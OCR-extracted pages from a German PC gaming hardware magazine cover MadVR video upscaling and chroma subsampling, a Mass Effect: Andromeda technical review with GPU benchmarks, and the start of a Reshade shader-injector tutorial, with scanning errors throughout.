zu können, gibt es doch ein grund- 
legendes praktisches Problem: Das 
meiste HD-Videomaterial liegt in 
1080p vor. Betrachtet auf einem 
4K-Display, fehlen deshalb % der 
Bildinformation. Um dieses Manko 
zu umgehen, wird das Bild deswe- 
gen durch technische Maßnahmen 
auf die Abmessungen des Displays 
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gestreckt: Das Bild wird hochska- 
liert. Teure Fernsehgeräte oder 
Blu-Ray-Player besitzen deshalb de- 
zidierte Chips (sog. Video Scaler), 
die meisten Monitore weisen für 
dieses Problem dagegen keine tech- 
nischen Finessen auf. Um aber den- 
noch entsprechend gute Ergebnis- 
se liefern zu können, sind Monitore 
auf angeschlossene Hardware und 


installierte Software angewiesen. 
MadVR setzt hier an und schafft mit 
genügend Grafikpower exzellente 
Ergebnisse. 


Upscaling — Was ist das 
genau? 

Wichtig ist, 
Vektor- und Rastergrafiken zu un- 


zunächst zwischen 


terscheiden. Denn Vektorgrafiken 


In dem Video auf der 

Heft-DVD finden Sie 

eine kurze Erklärung zur 
Installation des Madshi 
Videorenderer (MadVR) und zur 


Anwendung mit dem Media Player Classic. 
Außerdem haben wir einige Beispiele und 


Auswirkungen des Hochskalieren vorbereitet. 


werden in die grafischen Primiti- 
ven zerlegt - das sind die Grund- 
formen, aus denen sich die Grafik 
zusammensetzt. Die Skalierung er- 
folgt dann durch eine verlustfreie 
geometrische Transformation. 
Dagegen sind Fotos oder Videos 
Rastergrafiken, bei 
Skalierung immer mit einer Verän- 


denen eine 


derung der Auflösung einhergeht 
und schlussendlich den Verlust von 
Bildinformation nach sich zieht. 
Entsprechend der Displaygröße 
müssen neue Bildpunkte interpo- 
liert werden: Mit mathematischen 
Funktionen wird anhand der Ein- 
gangspixel ein skaliertes Ausgabe- 
bild berechnet. 


Dafür wird die vorhandene Bildin- 


formation mit einem Raster belegt, 
das die gewünschte Auflösung be- 
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sitzt (siehe Kasten). Möchte man 
z. B. eine 1080p-Blu-Ray auf einem 
4K-TV-Gerät betrachten, fehlen % 
der Bildinformation: Das unska- 
lierte Filmmaterial ist in unschöne 
und dicke schwarze Balken einge- 
rahmt. Nur durch die Interpolati- 
on des Bildes entsteht ein Vollbild, 
bei dem vier ,Display-Pixel* einem 
„Bluray-Pixel“ entsprechen. Jedem 
Pixel des Ausgabebildes wird ein 
Farbwert zugewiesen, der sich 
aus den benachbarten Pixeln des 
Eingabebildes berechnen lässt. An- 
hand der Skalierungsmethode, wer- 
den die Farbwerte unterschiedlich 
gewichtet, Trends im Bild berück- 
sichtigt oder andere Paramenter in 
die Berechnung einbezogen. 


Ich sehe was, was du nicht 
sehen kannst 

Videorenderer sind generell Pro- 
gramme, die Videodateien verar- 
beiten und dann nach und nach 
an die Grafikkarte schicken, sodass 
ein Bild am Monitor ausgegeben 
werden kann. Bei MadVR werden 
die Rechenprozesse für die Bildin- 
terpolation von den GPU-Shadern 
übernommen, die so für ein hoch- 
wertiges Chroma Upsampling, 
Image Upscaling oder eine ein- 
wandfreie Konvertierung vom 
YCbCr-Farbmodell in den RGB-Far- 
braum sorgen. 


Ursprünglich für das Digitalfern- 
sehen entwickelt, teilt das YCbCr- 
Farbmodell die Bildinformation in 
eine Grundhelligkeit Y und zwei 
Farbkanäle für blau-gelb (Cb) und 
rot- grün (Cr) auf. Das in digita- 
len Videodateien gebräuchliche 
Format funktioniert dabei analog 
zum menschlichen Sehprozess, der 
Helligkeitsunterschiede deutlich 
besser registriert als Unterschiede 
im Farbton. Dieser physiologische 
Umstand ist in den beiden speziali- 
sierten Fotorezeptoren im Auge be- 
gründet, die unterschiedliche Auf- 
gaben beim Sehen übernehmen. 
Die Stäbchen, mit etwa 120 Milli- 
onen Rezeptorzellen auf der Netz- 
haut, ermöglichen das Nachtsehen: 
Sie reagieren empfindlich auf Hel- 
ligkeitsveränderungen. Der zweite 
Fotorezeptorzelltyp, die Zapfen, 
ermöglichen uns dagegen das Farb- 
sehen. Obwohl nur sechs Millionen 
Rezeptoren dieses Typs im Auge zu 
finden sind, können Wellenlängen 
von 380nm-780nm wahrgenom- 
men werden. Kein Wunder also, 
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dass der Helligkeitskanal Y viel 
mehr Bildinformation bereithält, 
als die Farbkanäle Cb und Cr. Des- 
wegen kann man im YCbCr-Modell 
Farbinformationen mit einer gerin- 
geren Abtastrate (also Auflösung) 
abspeichern, ohne nennenswert 
Qualitätsverluste zu registrieren. 


Die Einsparung an Datengröße 
nennt man Chroma Subsampling, 
zu Deutsch Farbunterabtastung, 
die in verschiedenen Formen vor- 
liegen kann. Im 4:4:4 Format liegt 
das Video im RGB-Farbraum vor - 
hier gibt es keine Unterscheidung 
zwischen Helligkeit und Farbe. 
Das 4:2:2 YCbCr-Farbmodell hat 
dagegen eine halbe horizontale 
Chrominanzauflösung (bei Full-HD 
also 960x1080) und im 4:2:0 For- 
mat wurde die Farbinformation in 
beide Raumrichtungen reduziert 
(960x540). Daneben gibt es noch 
andere Chroma Subsampling Be- 
zeichnungen, wie 4:1:1, welches 
nur % der Abtastrate der Farbigkeit 
eines RGB-Signal hat oder das 3:1:1, 
welches im Bereich der DVCAMs 
von Sony Anwendung findet. 


Chrominanz ist Nebensache 
Das Chroma Upscaling im MadVR 
Videorenderer interpoliert die feh- 
lende Farbinformation der Kanäle 
Cb und Cr, die bedingt durch die 
Farbunterabtastung reduziert wur- 
den. In horizontale (4:2:2) und ver- 
tikale (4:2:0) Richtung wird dafür 
die Chrominanz auf die Auflösung 
des Ausgabedisplays hochskaliert. 
Generell gilt, das Farbinformatio- 
nen physiologisch gesehen eher 
zweitrangig sind und der sich ein- 
stellende Effekt eher subjektiver 
Natur ist. 


Die Kosten übersteigen hier bei 
Weitem den Nutzen dieser Farb- 
verbesserungen und sollten daher 
nur mit entsprechender Hardware 
betrieben werden und wenn die 
eigene Physiologie überhaupt die 
Voraussetzungen dafür liefern 
kann. Durch die Option des Error 
Diffusion Dithering kann man aber 
in MadVR die Illusion einer größe- 
ren Farbtiefe erzeugen, sodass die 
geringere Auflösung der Farbkanä- 
le weniger stark ins Auge fällt. Der 
Fokus sollte aber weiterhin auf den 
Helligkeitskanal Y gelegt werden, 
indem man hier die Luminanz mit 
dem NNEDI3-Filter und 64 einge- 
setzten Neuronen verdoppelt. 


So funktioniert das Hochskalieren 


Wenn die Auflösung des Videomaterials kleiner ist, als die des Anzeige- 


geräts, müssen Videorenderer oder dezidierte Ch 


ips das Bild hochska- 


lieren. Zum Einsatz kommt dabei folgendes Prinzip: 


Bei den bekanntesten Skalierungsver- 
fahren, wie etwa der Pixelwiederho- 


lung oder auch der bikubischen und 


bilinearen In 
Vergrößerun 


terpolation, erfolgt die 
g der Auflösung mittels 


Rekonstruktionsfilter. Wenn das 


Eingabebild 


(links) schematisch für 


ein Full-HD Bild steht und auf eine 
Auflösung von 3840 Ix 2160 Pixel 
gestreckt werden muss, müssen % der 


Bildinformat 
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ion interpoliert werden. 


Das Pixelraster des Ausgabebildes 
(gelbe Kreuze) wird über das Einga- 


t (graue Pluszeichen). 


Der verwendete Rekonstruktions- 
filter bestimmt dann, welche Pixel 


bildes zur Bestimmung 


der Farbwerte für das Ausgabebild 
herangezogen werden und wie diese 


erden. Im Falle unserer 


Full-HD auf 4K-Skalierung bilden vier 


ein Eingabe-Pixel. 


der interpolierten Pixel 


im Ausgabebild lässt sich als Summe 


e des Eingabebildes be- 
bei unterscheidet sich die 
der einbezogenen Pixel 


im Endergebnis durch den Rekon- 


er selber. Üblicherweise 


werden näher liegende Eingabepixel 
stárker in der Berechnung der Ausga- 


ichtet als weiter entfernt 


Das Upscaling einer Rastergrafik geht 
immer mit einem Qualitätsverlust ein- 
her und entsprechend des Skalierungs- 
faktors kónnen zudem Bildfragmente 
oder Störungen auftreten. Außerdem 
überlappen an den Rändern der Grafik 
weniger Pixel mit dem Rekonstrukti- 
onsfiltern, sodass es zu dunklen Pixeln 
kommen kann. Durch eine Renormali- 
sierung kann dies verhindert werden. 


UWQHD 
(3.440 x 1.440) 
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Skalierungsalgorithmen 


Um die unterschiedliche Wirkweise der Algorithmen in MadVR besser zeigen zu 


können, wurde ein 144p Video auf АК hochskaliert. 
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Bilineare Interpolation 


Pixelwiederholung 


DirectX Video Acceleration 2 (DXVA2) 
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Es kommt doch auf die 
Größe an 

Entscheidend, wie viel Leistung 
MadVR den Grafik-Shadern und 
der CPU abverlangt, ist die Auf- 
lösung des Eingangsmaterials. Je 
größer der Faktor ist, um den das 
Bild skaliert werden muss, desto 
mehr Leistung muss für die Frame- 
berechnung aufgebracht werden. 
Videomaterial, das im 24p-Format 
vorliegt, sollte die  Renderzeit 
von 40ms pro Frame nicht über- 
schreiten, da es sonst zu einer ab- 
gehackten Wiedergabe kommt. 
Im Videorenderer sind die Skalie- 
rungsalgorithmen nach ihrem Res- 
sourcenhunger gelistet: Arbeitsin- 
tensive Methoden befinden sich am 
unteren Ende der Liste. 


Die Pixelwiederholung, auch un- 
ter Nearest Neighbor bekannt, 
sollte aber aufgrund der schwa- 
chen Interpolationsmethode ver- 
mieden werden: Skalierte Bilder 
wirken verpixelt - es kommt zur 
Klótzchenbildung (Kasten links). 
Ebenfalls unter Verwendung der 
Textureinheit der GPU, schafft es 
die bilineare Interpolation deutlich 
besser Rundungen wesentlich na- 
türlicher darzustellen. Bei Verwen- 
dung der DirectX Video Accelera- 
tion (DXVA2) wird die Logikeinheit 
der GPU verwendet. In unserem 
Beispiel mit einer GTX 970 und 
einer Skalierung von 144р auf 4К, 
wirkt das Bild lebendiger und we- 
niger ausgewaschen, als mit den be- 
reits oben erwähnten Algorithmen 
der Textureinheit. Der Lanczos-Fil- 
ter zeigt sich im Extrembeispiel als 
solide Wahl für die Interpolation 
von fehlendem Bildmaterial, wird 
aber von dem neuronalen Netz- 
werk NNEDI3 mit 256 Neuronen 
übertroffen, das ein schärferes und 
fülligeres Bild abliefert. Das bes- 


te Preis-Leistungs-Verhältnis wird 
aber mit Lanczos oder DXVA2 er- 
reicht, da die benötigte Rechenleis- 
tung in NNEDI3 mit 256 Neuronen 
exorbitant hoch ist. 


Alles eine Frage der ausge- 

wogenen Balance 

Die Darstellung von HD-Material, 
welches nicht in der nativen Auf- 
lösung des Anzeigegeräts vorliegt, 
geht immer mit Verlusten einher. Je 
nach Skalierungsfaktor ändert sich 
die Stärke, in der die unterschiedli- 
chen Störungen im Bild vorliegen. 
Meist sind das Ringing-Artefakte in 
Form von Doppelkonturen (Halos), 
Aliasing-Effekte, die als treppen- 
stufige Konturen ins Auge fallen 
kónnen oder eine zunehmenden 
Unschärfe. Der videophile Nutzer 
muss deswegen bei der Wahl des 
Skalierungsalgorithmus Kompro- 
misse zwischen diesen Stórungen 
eingehen und die für ihn subjektiv 
perfekte Balance finden - und da- 
bei immer im Hinterkopf behalten, 
dass die Renderzeit pro Frame kei- 
ne 40ms übersteigen darf. Hat man 
seinen Wahl getroffen, ermóglicht 
MadVR noch Feineinstellungen, 
um die bereits erwähnten Stórun- 
gen zu minimieren. 


Wirklich gute Dienste leistet zu- 
dem die Option ,Smooth Motion“: 
Hier wird durch Überblendung der 
einzelnen Frames ein flüssiges Ab- 
spielen erzeugt. Dies ist vor allem 
bei Videomaterial wichtig, welches 
mit einer Bildwiederholfrequenz 
von 23,976 vorliegt und von ei- 
nem 60Hz Monitor ausgegeben 
wird. Um Darstellungslags zu ver- 
meiden, muss die Frequenz nàm- 
lich ein Vielfaches der Framerate 
des Videos sein. Einziger Nachteil 
hier: Es kommt zu einer leich- 


ten Bewegungsunschárfe. (ab) 


J www.madvr.com 


3 https://mpc-hc.org 


den Besten seines Faches. 


sollte hier unbedingt vorbei schauen. 


Ж https://forum.doom9.org/ 


Hier finden Sie den Videorenderer, der die GPU einspannt und 
von einer Vielzahl an Playern verwendet werden kann. 


Der Media-Player-Classic Home Cinema Edition zählt seit Jahren zu 


3» https://wiki.mikejung.biz/MadVR 
Eine Wiki mit Erklärungen und Testdaten zu MadVR. Wer tiefer gehen möchte, 


Ein Support-Forum für den videophilen Connaisseur. 
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Die bikubischen Interpolation und DXVA2 im Detail 


Die DirectX Video Acceleration 2 (DXVA2) zeigt ab einer 
48-fachen Interpolation (360p auf 4K) deutliche Schwá- 
chen bei der Darstellung von Blautönen und filigranen 
Details: Es kommt zu Stórungen durch Artefakte und Ali- 
asing. Dagegen zeigt die Skalierung um den Faktor neun 
720p auf АК) kaum Schwächen — sogar Hintergrundde- 
ails kónnen noch sehr gut wahrgenommen werden. 


Unter Verwendung eines einfachen bikubischen Filters тз 
werden die уоп unterschiedlichen Skalierungsfaktoren 
ausgehenden Probleme deutlicher. Je mehr Pixel neu 

berechnet werden müssen, desto stärker zeigen sich 


Ringing-Artefakte, Bildunschärfe und Aliasing-Effekte. 
Deswegen sollte ein passender Algorithmus entsprechend 
der Auflösung gewählt werden, der eine perfekte Balance " 


zwischen unschönen Interpolationsartefakten bieten 
kann. eme 
Detailvergleich bei DXVA2 Skalierung mit einem simplen bikubischen Filter 


360p auf 4K 720p auf 4K 144p auf 4K 


= 
3 1 | 240p auf 4K 
. | 


480p auf 4K 


_- 
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Spiele & Software 


Spiele, Software, Tools, Windows, Freeware, Praxistipps 


Frank Stówer 
Fachbereich Spiele 
E-Mail: fs@pcgh.de 


Kommentar 


Mass Effect: Andromeda — Downgrade-Dis- 
kussion und Streit um die optimale Plattform. 


Kaum haben Electronic Arts und Bioware das 
von den Fans schon sehnsüchtig erwartete Mass 
Effect: Andromeda veröffentlicht, da machen in 
den Foren schon wieder die hitzigsten Diskussi- 
onen die Runde. Der Stein des Anstoßes ist ein 
Video, das Szenen aus dem E3-2016-Trailer und 
dem tatsächlichen Spiel miteinander vergleicht 
und belegen soll, dass die Grafik tatsächlich nach 
unten geschraubt wurde. Außerdem sollen Effekte 
wie Schatten und Spiegelungen, die im Trailer zu 
sehen waren, in der Release-Version nicht immer 
vorhanden sein. Wenn ich ehrlich bin, kann ich 
dieses Gejammer nicht verstehen. Es sollte doch 
jedem Videospieler klar sein, dass die Entwickler in 
einem frühen Trailer gezeigte Rendertricks für eine 
gute Performance auf allen (!) Plattformen auch 
mal aus der finalen Fassung schmeißen. Zum an- 
deren werden Videos, welche die Optik eines Titels 
positiv hervorheben, oft mit leistungsstarken PCs 
gerendert. Da wundert es nicht, wenn die PS4-Ver- 
sion grafisch nicht mithalten kann. Zu guter Letzt 
sei angemerkt, dass die schönste Grafik nichts 
nützt, wenn es noch Baustellen beim Spieledesign 
gibt — und die sollten zügig behoben werden! 


Hardivare 


DAS HARDWARE-MAGAZIN FÜR PC-SPIELER. 


Hersteller 
Ubisoft 
Electronic Arts 
Ubisoft 
Rockstar Games 
Ubisoft 

Blizzard 


Platz Titel 
Ghost Recon: Wildlands 
Die Sims 4 
GR Wildlands Gold Edition 
Grand Theft Auto 5 
For Honor 
Overwatch 
Battlefield 1 
Civilization 6 


Electronic Arts 
2K Games 
Astragon 
Microsoft 


1. 
2. 
3: 
4. 
5. 
6. 
ye 
8. 
9 


Landwirtschafts-Simulator 17 
Halo Wars 2 (Standard Edition) 


e 
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* Quelle: Saturn, Top 20 vom 18.03.2017 


Mass Effect: Andromeda 


Das in mehrfacher Hinsicht jüngste Mass Effect 
wechselt das galaktische Umfeld und von der Un- 
real Engine 3 auf die Frostbite-Engine. 


ass Effect: Andromeda bekam schon vor 

Release im Rahmen des Origin-Access-Pro- 
gramms, welches Interessenten ein zehnstün- 
diges Anspielen erlaubt, einige Kritik. Ein Teil 
davon bezieht sich auf Design-Entscheidungen, 
darunter etwa der deutlich gesunkene Alters- 
durchschnitt der Figuren, welcher dem einen 
oder anderen alteingesessenen Fan sauer auf- 
stófst. Ein anderer Aspekt der Kritik bezieht sich 
auf die Technik. Insbesondere die Gesichtsani- 
mationen in Zwischensequenzen werden be- 
mängelt, aber auch der verhältnismäßig hohe 
Anspruch an die Grafikkarten, sollten Ultra-De- 
tails oder gar maximale Einstellungen genutzt 
werden. Die Kritik an der Technik ist durchaus 
verständlich, schließlich assoziieren Spieler die 
Frostbite-Engine aktuell wohl am ehesten mit 
den DICE-Shootern Star Wars: Battlefront und 
Battlefield 1. In diesen Titeln zeigte sich die 
Engine sowohl optisch als auch performance- 
technisch von der besten Seite. Doch dieser Ver- 
gleich ist aus unserer Sicht nicht ganz korrekt, 
denn bei Mass Effect: Andromeda kommt mit 
hoher Wahrscheinlichkeit nicht jener Entwick- 
lungszweig der Frostbite zum Einsatz, der in 


DICE’ Shootern für Staunen sorgte, sondern der, 
den Bioware für Dragon Age: Inquisition ein- 
setzte. Optik und Performance sollten also eher 
mit dem Rollenspiel und deutlich weniger stark 
mit den Shootern ins Verhältnis gesetzt werden. 


Unschóne Gesichter 

Von diesem Standpunkt aus betrachtet sind op- 
tische und technische Verbesserungen gegen- 
über Dragon Age: Inquisition durchaus positiv 
zu sehen. Ja, die Animationen sind nicht mehr 
zeitgemäß, gerade bei einem Rollenspiel, das so 
einen starken Fokus auf Gespràche setzt, sind 
die unnatürlich wirkenden Gesichtsanimatio- 
nen ein echtes Árgernis. Andersherum kann 
man nur schwerlich erwarten, dass die Entwick- 
ler bei den Gesprächen komplett auf Facescans 
und digitalisierte Schauspieler setzen - bei solch 
umfangreichen Dialogoptionen und der Viel- 
zahl an Charakteren wäre eine solche Maßnah- 
me sicherlich sowohl ausgesprochen aufwendig 
als auch teuer und hätte höchstwahrscheinlich 
das Entwicklungs-Budget gesprengt. 


Jedoch standen beispielsweise die Entwickler 
von The Witcher 3 vor einem ähnlichen Prob- 
lem und haben es dennoch geschafft, ein deut- 
lich überzeugenderes Endergebnis abzuliefern. 
Eine ähnlich gute Performance der virtuellen 
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Die Charaktermodelle sowie deren Mimik sind nicht zeitgemäß, insbesondere bei 
einem so dialoglastigen Action-Rollenspiel wie Mass Effect. 


AMD-Nutzer können den Tessellationsgrad im Treiber beschränken und so inbesonde- 
re ältere Karten entlasten. Beim vollständigen Deaktivieren entstehen Bildfehler. 


Figuren hätte man durchaus auch 
von einem großen Studio wie 
Bioware erwarten können, selbst 
wenn die Ausgangsbasis in Dra- 
gon Age: Inquisition eine deutliche 
Überarbeitung hätte erfahren müs- 
sen. Fünf Jahre Entwicklungszeit 
und finanzieller Support durch 
einen Publisher wie EA wären 
ebenfalls keine befriedigende Aus- 
rede für die eher enttäuschende 
Charakterdarstellung. Auf der Ha- 
benseite nutzt Mass Effect: Andro- 
meda in Zwischensequenzen eine 
sehr feine Tiefenschärfe sowie 
eine aufwendige Beleuchtung, die 
durchaus für einige sehr hübsche 
Szenen gut sind. Die hochqualita- 
tiven Effekte sind außerdem dafür 
verantwortlich, dass die Grafiklast 
in den Cutscenes am höchsten aus- 
fällt. Während unseres Tests lagen 
die Bildraten hier teils deutlich 
niedriger als bei Gameplay-Szenen. 


Hübsche fremde Welten 


Gegenüber den auf technischer 
und gestalterischer Seite etwas 
enttäuschenden Animationen 
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während der Gespräche sowie in 
den Zwischensequenzen ist Bio- 
ware die Umsetzung der Planeten 
und Raumstationen deutlich bes- 
ser gelungen. Die Umgebungen 
sind nicht nur abwechslungsreich, 
sondern bieten reichlich 
Eyecandy, sowohl beim Design als 
auch bei der Technik. Bei Letzterer 
kann Mass Effect: Andromeda zwar 
nicht ganz an Battlefront und Batt- 
lefield heranreichen, überzeugt 
jedoch mit schicken, volumetrisch 


auch 


ausgeleuchteten und sehr weitläu- 
figen Arealen. Dazu hat Bioware 
offensichtlich das Streaming der 
Engine stark verbessert, Ladezeiten 
sind im Normalfall sehr kurz oder 
werden so geschickt durch Zwi- 
schensequenzen verdeckt, dass sie 
praktisch nicht als solche wahrzu- 
nehmen sind. Die Texturen fallen 
im Großen und Ganzen sehr hoch- 
auflösend aus, viele Oberflächen 
erhalten zudem durch den großzü- 
gigen Einsatz von Tessellation eine 
überzeugende Tiefe. Die Direct-X- 
11-Technik wird indes nicht nur 
zur Verschönerung der Texturen 


Mass Effect: Andromeda - GPU-Benchmarks 


1.920 x 1.080, maximierte Details, HQ-AF 


Titan X (Pascal)/12G Tü 103,6 (+139%) 
Gigabyte GTX 1080 G1 Gaming/8G Es 81,8 (+89%) 
Palit GTX 980 Ti Super Jetstream/6G [ser 68,7 (4.5996) 
EVGA GTX 1070 SC Gaming/8G. Egi ЕШ 66,6 (+54%) 
Radeon R9 Fury X/4G E 47,2 (4-996) 
Zotac GTX 1060 AMP/6G path 47,3 (4-996) 
Sapphire RX 480 Nitro+ OC/8G. ЗО] 44,9 (4-496) 
Palit GTX 1060 Dual/3G Egi 43,5 (+0%) 
MSI GTX 970 Gaming/3,5+0,5G Log 43,3 (Basis) 
Radeon R9 Nano/4G EBEN 42,5 (-2%) 
Gigabyte RX 470 G1 Gaming/4G Loggt 38,8 (-10%) 
Asus R9 390 Strix ОС/8С Loggt 35,2 (-19%) 
Palit GTX 780 Jetstream/3G E2911 33,5 (-23%) 
HIS R9 280X IceQ X? Turbo/3G ВЕ 218 25,5 (-41%) 
Gigabyte GTX 770 Windforce OC/2G ВЕ 21,6 (-50%) 
Asus R9 270X DCH TOP/2G Er 20,7 (-52%) 


2.560 x 1.440, maximierte Details, HQ-AF 


Titan X (Pascal)/12G Im 68,9 (+146%) 
Gigabyte GTX 1080 G1 Gaming/8G ВЕСОВ 55,6 (+99%) 
Palit GTX 980 Ti Super Jetstream/6G ШЕНИН 45,5 (+63%) 
EVGA GTX 1070 SC Gaming/8G. EB 43,5 (+55%) 
Radeon R9 Fury X/4G ER 33,7 (+20%) 
Zotac GTX 1060 AMP/6G jam 30,2 (+8%) 
Radeon R9 Nano/4G E38 ES 30,1 (+8%) 
Sapphire RX 480 Nitro+ OC/8G. X36 [li 29,9 (+7%) 
MSI GTX 970 Gaming/3,5+0,5G ШЕЮ 28 (Basis) 
Palit GTX 1060 Dual/3G Ew 27,4 (-2%) 
Gigabyte RX 470 G1 Gaming/4G EEE 25,6 (-9%) 
Asus R9 390 Strix OC/8G. Xm 25 (-11%) 
Palit GTX 780 Jetstream/3G E] 22,2 (-21%) 
HIS R9 280X IceQ X? Turbo/3G MESIH 17,8 (-36%) 
Asus R9 270X DCH TOP/2G БЕЙШЕ 13,1 (-53%) 
Gigabyte GTX 770 Windforce OC/2G. ВЗ 11,4 (-59%) 


3.840 x 2.160, maximierte Details, HQ-AF 


Titan X (Pascal)/12G 32; 35,5 (4.15996) 
Gigabyte GTX 1080 G1 Gaming/8G [Ee 28,8 (411096) 
Palit GTX 980 Ti Super Jetstream/6G mes 23,3 (+70%) 
EVGA GTX 1070 SC Gaming/8G | 22,5 (+64%) 
Radeon R9 Fury X/4G Xs Ee 18,3 (43496) 
Radeon R9 Nano/4G EX 16 (1796) 
Sapphire RX 480 Nitro+ OC/BG. EX 15,7 (41596) 
Zotac GTX 1060 AMP/6G EXE 15,3 (1296) 
Asus R9 390 Strix OC/8G. Emus 13,8 (+1%) 
MSI GTX 970 Gaming/3,5+0,5G Emm 13,7 (Basis) 
Gigabyte RX 470 G1 Gaming/4G Xm 12,9 (-6%) 
Palit GTX 780 Jetstream/3G MESI 9,4 (-31%) 
Palit GTX 1060 Dual/3G [er Es 8,2 (-40%) 
HIS R9 280X IceQ X? Turbo/3G ВЗ 6,6 (-52%) 
Gigabyte GTX 770 Windforce OC/2G ВЗ 4,6 (-66%) 
Asus R9 270X DC2 TOP/2G В 8 5 (-64%) 


System: Core i7-6950X @ 4,0 GHz, 32 GiByte Corsair DDR4-3000, MSI X99A Gaming 


Pro Carbon; Geforce 378.78 Beta, Radeon Software 17.3.1 Beta, Windows 10 x64; HQ-AF МІВ Fps 


> Besser 


Bemerkungen: Generell wirkt das Performance-Bild erfreulich ausgewogen. 


eingesetzt: Wie alle aktuellen Frost- 
bite-Titel (eventuelle Ausnahme ist 
Mirror's Edge: Catalyst) wird die 
gesamte Landschaft durch Tessel- 
lation dargestellt. Daher empfehlen 
wir auch AMD-Nutzern nicht, diese 
im Treibermenü zu deaktivieren, 
da dies zu Fehldarstellungen führt. 
Eine Beschränkung auf Faktor 16 
oder das Setzen der Tessellation 


auf ,AMD-optimiert" bringt jedoch 
insbesondere älteren Radeons (z.B. 
Hawaii, Tahiti, Fiji) einen kräftigen 
Performance-Schub, ohne dass Sie 
sichbar Details opfern müssten. 
Die Polaris-Generation kommt bes- 
ser mit der zusätzlichen Geometrie 
durch Tessellation zurecht, kann 
durch den Treibereingriff aber 


(pr) 


auch einige Fps gutmachen. 
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Shader-Spiele 


Der Injector Reshade samt Sweet-FX-Effektbibliothek erlaubt es, den Look von Spielen den eigenen 


Wünschen nach anzupassen. Danke neuer Oberfläche ist die Bedienung zudem kinderleicht. 


er Shader-Injector Reshade 
D sich bei vielen PC- 
Spielern und Screenshot-Artists 
hoher Beliebtheit, erlaubt das Tool 
doch, den Look von Spielen den 
eigenen Wünschen nach anzupas- 
sen oder - darüber hinaus - ältere 
Titel mit neuen Effekten zu verse- 
hen. Bislang war dies eine relativ 
umständliche Angelegenheit, denn 
die zugehörigen Effekte mussten 
in einer Konfigurationsdatei mit- 
tels Texteditor angepasst werden. 
Mit Reshade 3.0.x erhielt das Tool 
jedoch eine außerordentlich prak- 
tische grafische Nutzeroberfläche, 
die direkt im Spiel auf Tastendruck 
eingeblendet werden kann. Nun 
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müssen Sie nicht mehr ständig aus 
dem Spiel tabben, die Konfigura- 
tionsdatei öffnen und die Werte 
der Variabeln händisch anpassen. 
Stattdessen lassen sich die Effekte 
per Mausklick zu- sowie abschalten, 


Video auf Heft-D 


Auf der Heft-DVD 
erklären wir im Video die 
Installation von Reshade 
und zeigen, wie Sie die 
Effekte zuschalten und Ihre 
Spiele Ihren Wünschen gemäß aufhübschen. 
Zudem finden Sie dort eine Vielzahl hochauf- 
gelöster Bilder aus diesem Artikel. 


und deren Variabeln bequem per 
Schieberegler anpassen. Dies hat 
zudem den Vorteil, dass Sie die op- 
tischen Auswirkungen dieser Ände- 
rungen direkt beobachten kónnen, 
was das Erstellen eines eigenen 


Profils mit dem individualisierten 
Look deutlich vereinfacht. 


Auf den folgenden Seiten erklären 
wir die Einrichtung und Bedie- 
nung von Reshade samt der bestán- 
dig wachsenden Sweet-FX-Effektbi- 
bliothek. Wir gehen auf einige der 
interessantesten Shader ein und 
zeigen, was sich mit dem mächti- 
gen Tool bewerkstelligen lässt: Wir 
verpassen Skyrim eine Reihe neuer 
Effekte, hübschen unsere DVD- 
Vollversion Dungeons 2 etwas auf, 
dokumentieren die Performance 
und zeigen anhand von Rise of the 
Tomb Raider, wie Sie Reshade für 
individuelle Screenshots nutzen. 
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Installation & Einrichtung 


ie Installation von Reshade 
D prinzipiell problem- 
los vonstatten, Reshade kommt 
mit einem praktischen Installer 
daher. Im Grunde brauchen Sie 
bloß auf https://reshade.me/ auf 
den Download-Button am unteren 
Ende der Seite zu klicken, die Da- 
tei nach dem Download ausführen 
und den Pfad zum gewünschten 
Spiel angeben. Zusátzlich müssen 
Sie die verwendete API auswählen, 
Reshade unterstützt Direct X 8/9, 
sowie 10/11 und Open GL. Direct 
X 12 und Vulkan bleiben bislang 
außen vor. Haben Sie dies erledigt, 
fragt sie der Installer, ob sie die ak- 
tuellen Sweet-FX-Shader zusätzlich 
herunterlanden wollen. Erst durch 
das Ergänzen der Shader lassen sich 
mit dem Injector Reshade Ände- 
rungen an der Optik vornehmen. 
Bevor wir loslegen, achten Sie da- 
rauf, dass Overlay-Programme wie 
Fraps oder MSI Afterburner deak- 
tiviert sind, ansonsten hat Resha- 
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de eventuell Probleme, sich in das 
Spiel einzuklinken oder das Spiel 
startet erst gar nicht. Sie können 
Fraps und Co. nach dem Spielstart 
wieder zuschalten. 


Einrichtung und Bedienung 
Nach dem Spielstart komiliert Res- 
hade erst einmal die Shader, dies 
wird im oberen Bildschrimbereich 
anhand einer grauen Einblendung 
ersichtlich. Die grafische Nutzer- 
oberfläche rufen Sie mit der Tasten- 
kombination Shift+F2 auf. Starten 
Sie Reshade bei einem Spiel erst- 
malig, ruft das Tool den Tutorial- 
Modus auf. Zudem müssen sie in 
der rot markierten Zeile oben auf 
das Pluszeichen klicken und einen 
Dateinamen für Ihre Konfiguration 
eingeben. Oder Sie laden ein be- 
reits vorhandenes Reshade-Profil. 
Nun öffnet sich ein Fenster mit den 
Effekten. Einige besonders interes- 
sante Vertreter schauen wir uns im 
Folgenden an. 


Md a nez preset bs clicking on the "+ 


Haben Sie sich durch die Tutorial-Nachrichten geklickt, können Sie im oberen Teil des 
Fensters Effekte zu- und abschalten, im unteren Teil werden diese konfiguriert. 


CN ul 


SF “ү Fa 


ted file 


а пем preset name oe the Full 


` butten te contimos the tutorial. 


Nach der Installation und dem Starten des Spiels können Sie das Reshade-GUI mittels 
Shift+F2 aufrufen. Geben Sie dann einen Namen für Ihr Profil ein. 


СОЕТ 
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Adaptive Fog (аи$/ап) 


Dieser Effekt ergänzt einen schicken volumetrischen Nebeleffekt, dessen Stärke, Fär- 
bung und Tiefe Sie manuell festlegen können - benötigt Zugriff auf den Tiefenbuffer. 


Bloom & Lensflares (aus/an) 


Diese Option schaltet auf Wunsch diverse und sehr umfangreich und vielfältig konfi- 
gurierbare Überstrahl- und Linseneffekte sowie Godrays zu. 


Cartoon-Shader (aus/an) 


Der Cartoon-Shader umrandet Bildschrimelemente und verleiht ihnen so einen Cell- 
Shading-Look. 


Colorfullness (aus/an) 


Der Effekt áhnelt dem Reshade-Effekt Vibrance oder der Sáttigung bei Foto-Tools, 
arbeitet jedoch uniform und bietet eine Option zur Verhinderung von Clipping. 
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Ambient Light (aus/an) 


Mit Ambient Light kónnen Sie einen modernen Beleuchtungseffekt zuschalten, der für 
weiche Lichtübergänge sorgt und sehr umfangreich konfigurierbar ist. 


Border 


Der simple Shader ergänzt Balken am Bildschirmrand, interessant für , Cineasten" 
